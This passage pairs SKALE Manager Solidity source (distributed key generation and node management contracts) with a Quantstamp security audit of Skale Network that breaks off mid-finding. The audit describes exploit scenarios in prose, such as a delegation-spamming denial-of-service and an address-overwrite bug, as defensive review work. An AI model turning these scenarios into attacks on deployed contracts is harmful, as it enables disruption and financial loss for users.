onlyNodeOwner(uint nodeIndex) { _checkMsgSenderIsNodeOwner(nodeIndex); _; } modifier refundGasBySchain(bytes32 schainHash, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainHash, gasTotal, context); } modifier refundGasByValidatorToSchain(bytes32 schainHash, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainHash, gasTotal, context); _refundGasByValidatorToSchain(schainHash); } function alright(bytes32 schainHash, uint fromNodeIndex) external override refundGasBySchain(schainHash, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(), dkgFunction: DkgFunction.Alright })) correctGroup(schainHash) onlyNodeOwner(fromNodeIndex) { SkaleDkgAlright.alright( schainHash, fromNodeIndex, contractManager, channels, dkgProcess, complaints, lastSuccessfulDKG, startAlrightTimestamp ); } function broadcast( bytes32 schainHash, uint nodeIndex, ISkaleDKG.G2Point[] memory verificationVector, KeyShare[] memory secretKeyContribution ) external override refundGasBySchain(schainHash, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(), dkgFunction: DkgFunction.Broadcast })) correctGroup(schainHash) onlyNodeOwner(nodeIndex) { SkaleDkgBroadcast.broadcast( schainHash, nodeIndex, verificationVector, secretKeyContribution, contractManager, channels, dkgProcess, hashedData ); } function complaintBadData(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external override refundGasBySchain( schainHash, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(), dkgFunction: DkgFunction.ComplaintBadData })) correctGroupWithoutRevert(schainHash) correctNode(schainHash, fromNodeIndex) correctNodeWithoutRevert(schainHash, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaintBadData( schainHash, fromNodeIndex, toNodeIndex, contractManager, complaints ); } function preResponse( bytes32 schainId, uint fromNodeIndex, ISkaleDKG.G2Point[] memory verificationVector, ISkaleDKG.G2Point[] memory verificationVectorMultiplication, KeyShare[] memory secretKeyContribution ) external override refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(), dkgFunction: DkgFunction.PreResponse })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgPreResponse.preResponse( schainId, fromNodeIndex, verificationVector, verificationVectorMultiplication, secretKeyContribution, contractManager, complaints, hashedData ); } function complaint(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external override refundGasByValidatorToSchain( schainHash, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(), dkgFunction: DkgFunction.Complaint })) correctGroupWithoutRevert(schainHash) correctNode(schainHash, fromNodeIndex) correctNodeWithoutRevert(schainHash, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaint( schainHash, fromNodeIndex, toNodeIndex, contractManager, channels, complaints, startAlrightTimestamp ); } function response( bytes32 schainHash, uint fromNodeIndex, uint secretNumber, ISkaleDKG.G2Point memory multipliedShare ) external override refundGasByValidatorToSchain( schainHash, Context({isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(), dkgFunction: DkgFunction.Response })) correctGroup(schainHash) onlyNodeOwner(fromNodeIndex) { SkaleDkgResponse.response( schainHash, fromNodeIndex, secretNumber, multipliedShare, contractManager, channels, complaints ); } /** * @dev Allows Schains and NodeRotation contracts to open a channel. * * Emits a {ChannelOpened} event. * * Requirements: * * - Channel is not already created. */ function openChannel(bytes32 schainHash) external override allowTwo("Schains","NodeRotation") { _openChannel(schainHash); } /** * @dev Allows SchainsInternal contract to delete a channel. * * Requirements: * * - Channel must exist. */ function deleteChannel(bytes32 schainHash) external override allow("SchainsInternal") { delete channels[schainHash]; delete dkgProcess[schainHash]; delete complaints[schainHash]; IKeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainHash); } function setStartAlrightTimestamp(bytes32 schainHash) external override allow("SkaleDKG") { startAlrightTimestamp[schainHash] = block.timestamp; } function setBadNode(bytes32 schainHash, uint nodeIndex) external override allow("SkaleDKG") { _badNodes[schainHash] = nodeIndex; } function finalizeSlashing(bytes32 schainHash, uint badNode) external override allow("SkaleDKG") { INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation")); ISchainsInternal schainsInternal = ISchainsInternal( contractManager.getContract("SchainsInternal") ); emit BadGuy(badNode); emit FailedDKG(schainHash); schainsInternal.makeSchainNodesInvisible(schainHash); if (schainsInternal.isAnyFreeNode(schainHash)) { uint newNode = nodeRotation.rotateNode( badNode, schainHash, false, true ); emit NewGuy(newNode); } else { _openChannel(schainHash); schainsInternal.removeNodeFromSchain( badNode, schainHash ); channels[schainHash].active = false; } schainsInternal.makeSchainNodesVisible(schainHash); IPunisher(contractManager.getPunisher()).slash( INodes(contractManager.getContract("Nodes")).getValidatorId(badNode), ISlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG") ); } function getChannelStartedTime(bytes32 schainHash) external view override returns (uint) { return channels[schainHash].startedBlockTimestamp; } function getChannelStartedBlock(bytes32 schainHash) external view override returns (uint) { return channels[schainHash].startedBlock; } function getNumberOfBroadcasted(bytes32 schainHash) external view override returns (uint) { return dkgProcess[schainHash].numberOfBroadcasted; } function getNumberOfCompleted(bytes32 schainHash) external view override returns (uint) { return dkgProcess[schainHash].numberOfCompleted; } function getTimeOfLastSuccessfulDKG(bytes32 schainHash) external view override returns (uint) { return lastSuccessfulDKG[schainHash]; } function getComplaintData(bytes32 schainHash) external view override returns (uint, uint) { return (complaints[schainHash].fromNodeToComplaint, complaints[schainHash].nodeToComplaint); } function getComplaintStartedTime(bytes32 schainHash) external view override returns (uint) { return complaints[schainHash].startComplaintBlockTimestamp; } function getAlrightStartedTime(bytes32 schainHash) external view override returns (uint) { return startAlrightTimestamp[schainHash]; } /** * @dev Checks whether channel is opened. */ function isChannelOpened(bytes32 schainHash) external view override returns (bool) { return channels[schainHash].active; } function isLastDKGSuccessful(bytes32 schainHash) external view override returns (bool) { return channels[schainHash].startedBlockTimestamp <= lastSuccessfulDKG[schainHash]; } /** * @dev Checks whether broadcast is possible. */ function isBroadcastPossible(bytes32 schainHash, uint nodeIndex) external view override returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && channels[schainHash].startedBlockTimestamp + _getComplaintTimeLimit() > block.timestamp && !dkgProcess[schainHash].broadcasted[index]; } /** * @dev Checks whether complaint is possible. */ function isComplaintPossible( bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex ) external view override returns (bool) { (uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainHash, fromNodeIndex, false); (uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainHash, toNodeIndex, false); if (!checkFrom || !checkTo) return false; bool complaintSending = ( complaints[schainHash].nodeToComplaint == type(uint).max && dkgProcess[schainHash].broadcasted[indexTo] && !dkgProcess[schainHash].completed[indexFrom] ) || ( dkgProcess[schainHash].broadcasted[indexTo] && complaints[schainHash].startComplaintBlockTimestamp + _getComplaintTimeLimit() <= block.timestamp && complaints[schainHash].nodeToComplaint == toNodeIndex ) || ( !dkgProcess[schainHash].broadcasted[indexTo] && complaints[schainHash].nodeToComplaint == type(uint).max && channels[schainHash].startedBlockTimestamp + _getComplaintTimeLimit() <= block.timestamp ) || ( complaints[schainHash].nodeToComplaint == type(uint).max && isEveryoneBroadcasted(schainHash) && dkgProcess[schainHash].completed[indexFrom] && !dkgProcess[schainHash].completed[indexTo] && startAlrightTimestamp[schainHash] + _getComplaintTimeLimit() <= block.timestamp ); return channels[schainHash].active && dkgProcess[schainHash].broadcasted[indexFrom] && _isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } /** * @dev Checks whether sending Alright response is possible. */ function isAlrightPossible(bytes32 schainHash, uint nodeIndex) external view override returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && channels[schainHash].n == dkgProcess[schainHash].numberOfBroadcasted && (complaints[schainHash].fromNodeToComplaint != nodeIndex || (nodeIndex == 0 && complaints[schainHash].startComplaintBlockTimestamp == 0)) && startAlrightTimestamp[schainHash] + _getComplaintTimeLimit() > block.timestamp && !dkgProcess[schainHash].completed[index]; } /** * @dev Checks whether sending a pre-response is possible. */ function isPreResponsePossible(bytes32 schainHash, uint nodeIndex) external view override returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainHash].nodeToComplaint == nodeIndex && complaints[schainHash].startComplaintBlockTimestamp + _getComplaintTimeLimit() > block.timestamp && !complaints[schainHash].isResponse; } /** * @dev Checks whether sending a response is possible. */ function isResponsePossible(bytes32 schainHash, uint nodeIndex) external view override returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainHash].nodeToComplaint == nodeIndex && complaints[schainHash].startComplaintBlockTimestamp + _getComplaintTimeLimit() > block.timestamp && complaints[schainHash].isResponse; } function isNodeBroadcasted(bytes32 schainHash, uint nodeIndex) external view override returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return check && dkgProcess[schainHash].broadcasted[index]; } /** * @dev Checks whether all data has been received by node. */ function isAllDataReceived(bytes32 schainHash, uint nodeIndex) external view override returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return check && dkgProcess[schainHash].completed[index]; } function hashData( KeyShare[] memory secretKeyContribution, ISkaleDKG.G2Point[] memory verificationVector ) external pure override returns (bytes32) { bytes memory data; for (uint i = 0; i < secretKeyContribution.length; i++) { data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share); } for (uint i = 0; i < verificationVector.length; i++) { data = abi.encodePacked( data, verificationVector[i].x.a, verificationVector[i].x.b, verificationVector[i].y.a, verificationVector[i].y.b ); } return keccak256(data); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function checkAndReturnIndexInGroup( bytes32 schainHash, uint nodeIndex, bool revertCheck ) public view override returns (uint, bool) { uint index = ISchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainHash, nodeIndex); if (index >= channels[schainHash].n && revertCheck) { revert("Node is not in this group"); } return (index, index < channels[schainHash].n); } function isEveryoneBroadcasted(bytes32 schainHash) public view override returns (bool) { return channels[schainHash].n == dkgProcess[schainHash].numberOfBroadcasted; } function _refundGasBySchain(bytes32 schainHash, uint gasTotal, Context memory context) private { IWallets wallets = IWallets(payable(contractManager.getContract("Wallets"))); bool isLastNode = channels[schainHash].n == dkgProcess[schainHash].numberOfCompleted; if (context.dkgFunction == DkgFunction.Alright && isLastNode) { wallets.refundGasBySchain( schainHash, payable(msg.sender), gasTotal - gasleft() + context.delta - 74800, context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal - gasleft() > 14e5) { wallets.refundGasBySchain( schainHash, payable(msg.sender), gasTotal - gasleft() + context.delta - 341979, context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal - gasleft() > 7e5) { wallets.refundGasBySchain( schainHash, payable(msg.sender), gasTotal - gasleft() + context.delta - 152214, context.isDebt ); } else if (context.dkgFunction == DkgFunction.Response){ wallets.refundGasBySchain( schainHash, payable(msg.sender), gasTotal - gasleft() - context.delta, context.isDebt ); } else { wallets.refundGasBySchain( schainHash, payable(msg.sender), gasTotal - gasleft() + context.delta, context.isDebt ); } } function _refundGasByValidatorToSchain(bytes32 schainHash) private { uint validatorId = INodes(contractManager.getContract("Nodes")) .getValidatorId(_badNodes[schainHash]); IWallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidatorToSchain(validatorId, schainHash); delete _badNodes[schainHash]; } function _openChannel(bytes32 schainHash) private { ISchainsInternal schainsInternal = ISchainsInternal( contractManager.getContract("SchainsInternal") ); uint len = schainsInternal.getNumberOfNodesInGroup(schainHash); channels[schainHash].active = true; channels[schainHash].n = len; delete dkgProcess[schainHash].completed; delete dkgProcess[schainHash].broadcasted; dkgProcess[schainHash].broadcasted = new bool[](len); dkgProcess[schainHash].completed = new bool[](len); complaints[schainHash].fromNodeToComplaint = type(uint).max; complaints[schainHash].nodeToComplaint = type(uint).max; delete complaints[schainHash].startComplaintBlockTimestamp; delete dkgProcess[schainHash].numberOfBroadcasted; delete dkgProcess[schainHash].numberOfCompleted; channels[schainHash].startedBlockTimestamp = block.timestamp; channels[schainHash].startedBlock = block.number; IKeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainHash); emit ChannelOpened(schainHash); } function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) { return INodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex); } function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view { require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender"); } function _getComplaintTimeLimit() private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimeLimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol"; import "@skalenetwork/skale-manager-interfaces/ISkaleManager.sol"; import "@skalenetwork/skale-manager-interfaces/IMintableToken.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IDistributor.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IValidatorService.sol"; import "@skalenetwork/skale-manager-interfaces/IBountyV2.sol"; import "@skalenetwork/skale-manager-interfaces/IConstantsHolder.sol"; import "@skalenetwork/skale-manager-interfaces/INodeRotation.sol"; import "@skalenetwork/skale-manager-interfaces/INodes.sol"; import "@skalenetwork/skale-manager-interfaces/ISchains.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "./Permissions.sol"; /** * @title SkaleManager * @dev Contract contains functions for node registration and exit, bounty * management, and monitoring verdicts. */ contract SkaleManager is IERC777Recipient, ISkaleManager, Permissions { IERC1820Registry private _erc1820; bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); string public version; bytes32 public constant SCHAIN_REMOVAL_ROLE = keccak256("SCHAIN_REMOVAL_ROLE"); function tokensReceived( address, // operator address from, address to, uint256 value, bytes calldata userData, bytes calldata // operator data ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); if (userData.length > 0) { ISchains schains = ISchains( contractManager.getContract("Schains")); schains.addSchain(from, value, userData); } } function createNode( uint16 port, uint16 nonce, bytes4 ip, bytes4 publicIp, bytes32[2] calldata publicKey, string calldata name, string calldata domainName ) external override { INodes nodes = INodes(contractManager.getContract("Nodes")); // validators checks inside checkPossibilityCreatingNode nodes.checkPossibilityCreatingNode(msg.sender); INodes.NodeCreationParams memory params = INodes.NodeCreationParams({ name: name, ip: ip, publicIp: publicIp, port: port, publicKey: publicKey, nonce: nonce, domainName: domainName }); nodes.createNode(msg.sender, params); } function nodeExit(uint nodeIndex) external override { uint gasTotal = gasleft(); IValidatorService validatorService = IValidatorService(contractManager.getContract("ValidatorService")); INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation")); INodes nodes = INodes(contractManager.getContract("Nodes")); uint validatorId = nodes.getValidatorId(nodeIndex); bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex)); if (!permitted && validatorService.validatorAddressExists(msg.sender)) { permitted = validatorService.getValidatorId(msg.sender) == validatorId; } require(permitted, "Sender is not permitted to call this function"); require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving"); (bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex); if (completed) { ISchainsInternal( contractManager.getContract("SchainsInternal") ).removeNodeFromAllExceptionSchains(nodeIndex); require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed"); nodes.changeNodeFinishTime( nodeIndex, block.timestamp + ( isSchains ? IConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() : 0 ) ); nodes.deleteNodeForValidator(validatorId, nodeIndex); } _refundGasByValidator(validatorId, payable(msg.sender), gasTotal - gasleft()); } function deleteSchain(string calldata name) external override { ISchains schains = ISchains(contractManager.getContract("Schains")); // schain owner checks inside deleteSchain schains.deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external override { require(hasRole(SCHAIN_REMOVAL_ROLE, msg.sender), "SCHAIN_REMOVAL_ROLE is required"); ISchains schains = ISchains(contractManager.getContract("Schains")); schains.deleteSchainByRoot(name); } function getBounty(uint nodeIndex) external override { uint gasTotal = gasleft(); INodes nodes = INodes(contractManager.getContract("Nodes")); require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(nodes.isTimeForReward(nodeIndex), "Not time for bounty"); require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state"); require(!nodes.incompliant(nodeIndex), "The node is incompliant"); IBountyV2 bountyContract = IBountyV2(contractManager.getContract("Bounty")); uint bounty = bountyContract.calculateBounty(nodeIndex); nodes.changeNodeLastRewardDate(nodeIndex); uint validatorId = nodes.getValidatorId(nodeIndex); if (bounty > 0) { _payBounty(bounty, validatorId); } emit BountyReceived( nodeIndex, msg.sender, 0, 0, bounty, type(uint).max); _refundGasByValidator(validatorId, payable(msg.sender), gasTotal - gasleft()); } function setVersion(string calldata newVersion) external override onlyOwner { emit VersionUpdated(version, newVersion); version = newVersion; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function _payBounty(uint bounty, uint validatorId) private { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); IDistributor distributor = IDistributor(contractManager.getContract("Distributor")); require( IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""), "Token was not minted" ); } function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private { uint gasCostOfRefundGasByValidator = 55723; IWallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator); } }
July 27th 2020— Quantstamp Verified Skale Network This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Smart Contracts Auditors Alex Murashkin , Senior Software EngineerKacper Bąk , Senior Research EngineerEd Zulkoski , Senior Security EngineerTimeline 2020-02-04 through 2020-07-10 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification README.md Spec Source Code Repository Commit skale-manager remediation-3 skale-manager 50c8f4e Total Issues 26 (21 Resolved)High Risk Issues 3 (3 Resolved)Medium Risk Issues 1 (1 Resolved)Low Risk Issues 11 (8 Resolved)Informational Risk Issues 7 (5 Resolved)Undetermined Risk Issues 4 (4 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsThe scope of the audit is restricted to the set of files outlined in the section. Quantstamp Audit Breakdown While reviewing the given files at the commit , we identified three issues of high severity, seven issues of low severity, and four issues of informational severity. In addition, we made several suggestions with regards to code documentation, adherence to best practices, and adherence to the specification. We recommend resolving the issues and improving code documentation before shipping to production. 50c8f4eWhile reviewing the diff , we marked some of the issues as resolved or acknowledged, depending on whether a code change was made. Some findings remained marked as "Unresolved" (such as , , and ): we recommend taking a look at these as we believe these were not fully addressed or still impose risks. In addition, we found 12 new potential issues of varying levels of severity. For the commit , the new issue list beings with , and line numbers now refer to the commit. The severity of some findings remained as "undetermined" due to the lack of documentation. Moreover, we made additional documentation and best practices recommendations which were placed at the end of the report after the main findings. Update:50c8f4e..remediation-3 QSP-1 QSP-10 QSP-11 remediation-3 QSP-15 remediation-3 We recommend addressing all the issues before running in production. : We reviewed the fixes provided in the following separate commits/PRs: Update 1. ( ) 1da7bbd https://github.com/skalenetwork/skale-manager/pull/267 2. ( ) 8c6a218 https://github.com/skalenetwork/skale-manager/pull/258 3. ( ) 8652d74https://github.com/skalenetwork/skale- manager/pull/264/commits/8652d743fa273c68664c1acc972067d83b28f098 4. ( ) 0164b22https://github.com/skalenetwork/skale- manager/pull/264/commits/0164b22436d8c10e22a202ff257581b76e038dec 5. ( ) 7e040bf https://github.com/skalenetwork/skale-manager/pull/229 6. ( ) bd17697 https://github.com/skalenetwork/skale-manager/pull/224 7. ( ) c671839https://github.com/skalenetwork/skale- manager/blob/c6718397cbbe7f9520b3c7ff62aa5bd1b0df27f5/contracts/ContractManager.sol#L51 All main findings ( ) from the original commit - and the re-audit commit - - were addressed in the commits above. Some best practices suggestions and documentation issues were addressed, but some were not. Code coverage could also use some improvement. QSP-1..QSP-2650c8f4e remediation-3 ID Description Severity Status QSP- 1 Potentially Unsafe Use of Arithmetic Operations High Fixed QSP- 2 Ability to register Address that already exists Low Fixed QSP- 3 Free Tokens for Owner from Testing Code High Fixed QSP- 4 Validator Denial-of-Service High Fixed QSP- 5 Unlocked Pragma Low Fixed QSP- 6 Use of Experimental Features Low Fixed QSP- 7 Centralization of Power Low Acknowledged QSP- 8 Transaction-Ordering Dependency in Validator Registration Low Fixed QSP- 9 Unintentional Locking of Tokens upon Cancelation Low Fixed QSP- 10 Validator Registration "Spamming" Low Acknowledged QSP- 11 Misusing / / require() assert() revert() Informational Acknowledged QSP- 12 Stubbed Functions in DelegationService Informational Fixed QSP- 13 Unhandled Edge Case in Validator Existence Check Informational Fixed QSP- 14 Potentially Unsafe Use of Loops Informational Fixed QSP- 15 Denial-of-Service (DoS) Medium Fixed QSP- 16 Denial-of-Service (DoS) Low Fixed QSP- 17 Potentially Unsafe Use of Loops (2) Low Acknowledged QSP- 18 Lack of Array Length Reduction Low Fixed QSP- 19 Unclear Purpose of the Assignment Undetermined Fixed QSP- 20 Unclear State List for isTerminated(...) Undetermined Fixed QSP- 21 Unclear Intention for in totalApproved TokenLaunchManager Undetermined Fixed QSP- 22 Potential Violation of the Spec Informational Acknowledged QSP- 23 Inconsistent Behaviour of addToLockedInPendingDelegations(...) Undetermined Fixed QSP- 24 Error-prone Logic for delegated.mul(2) Informational Fixed QSP- 25 Event Emitted Regardless of Result Informational Fixed QSP- 26 Missing Input Validation Low Fixed QuantstampAudit Breakdown Quantstamp's objective was to evaluate the following files for security-related issues, code quality, and adherence to specification and best practices: * ContractManager.sol * Permissions.sol * SkaleToken.sol * interfaces/ISkaleToken.sol * interfaces/delegation/IDelegatableToken.sol * interfaces/delegation/IHolderDelegation.sol * interfaces/delegation/IValidatorDelegation.sol * interfaces/tokenSale/ITokenSaleManager.sol * ERC777/LockableERC777.sol * thirdparty/BokkyPooBahsDateTimeLibrary.sol * delegation/* * utils/* Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: commit sha: ab387e1 • Maianv4.1.12 • Trufflev1.1.0 • Ganachev0.5.8 • SolidityCoveragev0.2.7 • MythrilNone • Securifyv0.6.6 • SlitherSteps taken to run the tools:1. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 2. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 3. Installed Truffle:npm install -g truffle 4. Installed Ganache:npm install -g ganache-cli 5. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 6. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 7. Installed the Mythril tool from Pypi:pip3 install mythril 8. Ran the Mythril tool on each contract:myth -x path/to/contract 9. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 10. Installed the Slither tool:pip install slither-analyzer 11. Run Slither from the project directory:s slither . Findings QSP-1 Potentially Unsafe Use of Arithmetic Operations Severity: High Risk Fixed Status: File(s) affected: (multiple) Some arithmetic operations in the project may lead to integer underflows or underflows. Examples include (line numbers are for commit ): Description:50c8f4e 1. , : may underflow, which will break all distributions associated with the validator - Not fixed ( , (commit ): should use SafeMath). in commit . Distributor.solL72 amount - amount * feeRate / 1000contracts/delegation/Distributor.sol L210 remediation-3 uint bounty = amount - fee; Fixed 1da7bbd 2. , : a possibility of an underflow - Distributor.sol L77 Fixed 3. , : unsafe multiplication and addition, there may be an overflow if is set to too high or becomes too high - Distributor.solL101-105 msr validatorNodes.length Fixed 4. , - SkaleBalances.sol L89 Fixed 5. : , : unclear what the bounds of are, however, may overflow under certain conditions - Not fixed in : should still use for the multiplication. in commit . ValidatorService.solL166 L178MSR remediation- 3 SafeMath Fixed 1da7bbd 6. : : this logic should be rewritten using operations - . DelegationRequestManager.sol L74-75 SafeMath Fixed 7. : while we do not see immediate issues, we still recommended using across the board - . TimeHelpers.sol SafeMath Fixed 8. : the addition should be performed using - . ERC777/LockableERC777.sol locked + amount SafeMath Fixed 9. , and : while we do not see immediate issues, we still recommended using across the board - . DelegationController.sol L67 L71SafeMath Fixed Recommendation: 1. Usefor all arithmetic operations SafeMath 2. Add input validation for any values partaking in math operations, such as validatingin and . feeRate Distributor.sol MSR QSP-2 Ability to register Address that already exists Severity: Low Risk Fixed Status: File(s) affected: delegation/ValidatorService.sol, delegation/DelegationService.sol , : It appears that a user can invoke where is an already existing address. Description:ValidatorService.sol L92 requestForNewAddress(...) newValidatorAddress There are two cases. If is the validator's current address, the operation would effectively be a no-op. If it is a different validator's address, the operation would overwrite the old in the list. As one consequence, this would break the mapping, which would consequently invalidate any function that uses on . Exploit Scenario:newValidatorAddress validatorId _validatorAddressToId getValidatorId() L197 This relates to the functions of the same name in . DelegationService.sol Fixing the logic to disallow overwriting behavior. Recommendation: QSP-3 Free Tokens for Owner from Testing Code Severity: High Risk Fixed Status: File(s) affected:SkaleToken.sol , : the code labeled as "// TODO remove after testing" issues free tokens for the owner, which is, likely, undesired. Description: SkaleToken.sol L47-54 Remove the testing code. Recommendation: QSP-4 Validator Denial-of-Service Severity: High Risk Fixed Status: File(s) affected: delegation/DelegationService.sol, delegation/DelegationRequestManager.sol It appears that a third-party can run a denial-of-service attack which causes some methods to run out of gas upon execution. Description: Using the method of , an attacker submits multiple delegations of a low amount to a given Validator A. The array becomes big enough to cause the methods , , and run out of gas. While it is unclear what a minimum validation amount is ( , ) and the validator has to be trusted to be able to pick it up ( , ), it looks like if the attacker has a high balance, the attack is possible. Exploit Scenario:delegate() DelegationService _activeByValidator[validatorId] getDelegationsForValidator getActiveDelegationsByValidator getDelegationsTotal DelegationRequestManager.sol L62 DelegationRequestManager.sol L65 Perform a gas analysis to identify the number of validations such that does not run out of 